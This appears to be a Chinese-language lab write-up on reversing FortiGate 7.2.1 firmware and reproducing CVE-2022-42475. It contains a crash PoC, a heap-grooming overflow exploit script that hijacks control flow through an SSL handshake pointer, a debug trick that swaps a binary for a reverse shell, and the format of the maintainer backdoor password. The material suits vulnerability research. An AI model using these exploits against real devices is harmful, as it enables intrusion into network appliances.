0%

Fortigate逆向 & 部分CVE复现

参考一些网络上的教程配置fortigatef路由器

Untitled

固件提取

1
2
3
sudo virt-filesystems -a fortios.vmdk  查看磁盘分区

sudo guestmount -a FGT_VM64-disk1.vmdk -m /dev/sda1 fortios 挂载分区

Untitled

复制一份rootfs.gz,解压出来

Untitled

1
2
3
4
5
sudo chroot . /sbin/xz --check=sha256 -d /bin.tar.xz

sudo chroot . /sbin/ftar -xf /bin.tar

这里的.tar.xz文件是飞塔使用了自己改版的xz和tar压缩的,所以直接使用xz和tar解压不了。要用chroot切换根目录使用sbin中的xz和ftar进行解压。

设备调试环境搭建

Untitled

大体参考文章

https://vang3lis.github.io/2023/06/12/FortiGate 环境搭建 7.2.4/#绕过

由于版本是7.2.1,所以做了一些修正

在VMware中挂gdb调试启动

这里有一个BUG,在开始调试时VMware莫名崩溃,根据vmware.log的报错搜索找到了一篇文章

https://sysprogs.com/VisualKernel/documentation/vms/

Untitled

需要在主机上关闭Hyper-V

用到的指令

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
file out.bin
target remote 192.168.43.1:8864
b *0xFFFFFFFF807AC11C
c
## debugStub起的是主机的端口

set {char [10]} 0xFFFFFFFF808F3591 = "/bin/init"
set $rax=0
b *0x4518B9
b *0x4518D3
c

//b *0x451AD3

set $rax=1
c
set $rax=0
c

define bypass
set $rax=0
c
end

diagnose hardware smartctl

find . | cpio -o --format=newc > rootfs
gzip rootfs

guestmount -a FGT_VM64-disk1.vmdk -m /dev/sda1 --rw fortios/
cd FortiGate
cp ./file/rootfs.gz fortios/
umount fortios/

b *0x283062B

diagnose hardware smartctl触发以后会执行/bin/smartctl,替换成反弹shell的程序即可在本机上收到反弹的shell,发现环境缺了很多东西,于是又塞了个busybox进去

Untitled

通过分析找到用户密码的加密方式(管理员、普通用户)

Maintainer

fortigate指定管理员用户为maintainer

密码为bcpb+序列号

Untitled

Untitled

管理员账户

管理员用户为admin

在0x2A1E7A0处下断点

Untitled

Untitled

可以看到一个明文存根

存根以SH2开头,所以会进入图中sha2_mapping_1_ 分支

查了一下,上图中AK1开头是7.0之前的管理员密码加密方式,7.0以后均采用SH2开头

Untitled

可以看到,校验admin密码时,首先将存根中后面的Base64解密出来成44字节的字节流,将其和输入的明文密码,以及一个固定的xmmword_369C500组合起来,进行SHA256哈希,之后比较结果

Untitled

待比较结果存在栈中,长32字节

验证一下明文存根是否有固定的生成流程

修改几次密码,发现即使当密码修改成同一个值的时候,存根也不同,如下图

Untitled

Untitled

因此认为存根存储的是一个随机的Nonce,得出加密流程如下:

1
2
3
4
5
1:生成一个44字节的随机Nonce
2:将Nonce和明文密码和一个固定的数组合起来做SHA256
3:将Nonce使用Base64Encode,存储起来

但是比较结果和明文存根在文件系统中的位置尚且未找到

CVE复现

CVE-2022-42475

Description

A heap-based buffer overflow vulnerability [CWE-122] in FortiOS SSL-VPN 7.2.0 through 7.2.2, 7.0.0 through 7.0.8, 6.4.0 through 6.4.10, 6.2.0 through 6.2.11, 6.0.15 and earlier and FortiProxy SSL-VPN 7.2.0 through 7.2.1, 7.0.7 and earlier may allow a remote unauthenticated attacker to execute arbitrary code or commands via specifically crafted requests.

搜索到触发漏洞的Poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import socket
import ssl

path = "/remote/login".encode()
content_length = ["2147483647"]

for CL in content_length:
try:
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.43.129\r\nContent-Length: " + CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect(("192.168.43.129", 10443))
_default_context = ssl._create_unverified_context()
_socket = _default_context.wrap_socket(_socket)
_socket.sendall(data)
res = _socket.recv(1024)
if b"HTTP/1.1" not in res:
print("Error detected")
print(CL)
break
except Exception as e:
print(e)
print("Error detected")
print(CL)
break

将sslvpn接口的请求中Content-Length设为2147483647后会导致服务器无响应

想在/bin/sslvpn挂gdb看看异常出现在哪个函数

但是挂上之后程序捕获不到异常信息,不知道怎么搞的

然后转变思路,看看修复该CVE的补丁,在以下函数加了个长度判断

Untitled

于是尝试在该处挂断点,看看什么时候出现异常的参数

之后一路跟到

Untitled

漏洞就出在上图request_malloc_函数里面

Untitled

执行完 mov eax,[rax+18h]之后,eax是传入的Content-length,触发漏洞是,此为0x7fffffff

之后将eax+1传入esi,此时esi=0x80000000

Untitled

之后movsxd将esi扩展成64bit,但是是有符号扩展,于是rsi变成了一个巨大的值

Untitled

request_malloc_中,最后a2会传给memset

Untitled

于是就变成了memset(v3,0,0xffffffff80000000),访问到了非法内存导致崩溃

当传入的Content-length大于0x1000000000 时,传入的CL只取低32位进入memset,此时不会崩溃,并且经过处理后只会分配一个很小的堆块

由于CL过大,因此程序会进入下图的分支

那么在后续的 memcpy 阶段就会尝试将SSL管道中的CL个字节复制到刚刚分配的堆中,导致堆溢出

Untitled

通过某些设置,可以使得溢出之后程序在下图处崩溃

Untitled

参考一些文章,写出稳定触发上图崩溃的payload,由于此时rax可控,因此相当于已经劫持了控制流

注:为什么覆盖的payload是这样设计的,参考的文章并没有细说,自己研究了一下,大概是为了覆盖到ssl_st结构体的handshake_func 指针,之后在SSL_do_handshake里面调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
struct ssl_st {
/*
* protocol version (one of SSL2_VERSION, SSL3_VERSION, TLS1_VERSION,
* DTLS1_VERSION)
*/
int version;
/* SSLv3 */
const SSL_METHOD *method;
/*
* There are 2 BIO's even though they are normally both the same. This
* is so data can be read and written to different handlers
*/
/* used by SSL_read */
BIO *rbio;
/* used by SSL_write */
BIO *wbio;
/* used during session-id reuse to concatenate messages */
BIO *bbio;
/*
* This holds a variable that indicates what we were doing when a 0 or -1
* is returned. This is needed for non-blocking IO so we know what
* request needs re-doing when in SSL_accept or SSL_connect
*/
int rwstate;
**int (*handshake_func) (SSL *);**





int SSL_do_handshake(SSL *s)
{
// ...

s->method->ssl_renegotiate_check(s, 0);

if (SSL_in_init(s) || SSL_in_before(s)) {
if ((s->mode & SSL_MODE_ASYNC) && ASYNC_get_current_job() == NULL) {
struct ssl_async_args args;

args.s = s;

ret = ssl_start_async_job(s, &args, ssl_do_handshake_intern);
} else {
**ret = s->handshake_func(s);**
}
}
return ret;
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import socket
import ssl
from pwn import *
import socket
import pathlib

path = "/remote/login".encode()

ip = "192.168.43.129"
port = 10443

def create_ssl_ctx():
_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
_socket.connect((ip, port))
_default_context = ssl._create_unverified_context()
_socket = _default_context.wrap_socket(_socket)
return _socket

socks = []

for i in range(60):
sk = create_ssl_ctx()
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.43.129\r\nContent-Length: 4096\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"
sk.sendall(data)
socks.append(sk)

for i in range(20, 40, 2):
sk = socks[i]
sk.close()
socks[i] = None

CL = "115964116992" # 0x1b00000000
data = b"POST " + path + b" HTTP/1.1\r\nHost: 192.168.43.129\r\nContent-Length: " + \
CL.encode() + b"\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: text/plain;charset=UTF-8\r\nAccept: */*\r\n\r\na=1"

exp_sk = create_ssl_ctx()

for i in range(20):
sk = create_ssl_ctx()
socks.append(sk)

exp_sk.sendall(data)

# exp_sk.sendall(b'\x90'*0x40000)

payload = b"A" * (0xe20-3-0xC0)
entry = 0x0066666666
gadget = b""
gadget += p64(pop_rax_ret)

assert (len(gadget) <= 0xC0)

victim_obj = gadget
victim_obj += b"\x90"*(0xC0-len(gadget))
victim_obj += p64(entry)

payload += victim_obj

# shellcode
payload += b'\x90'*0x100

exp_sk.sendall(payload)

for sk in socks:
if sk:
data = b"b" * 40
sk.sendall(data)

print("Done")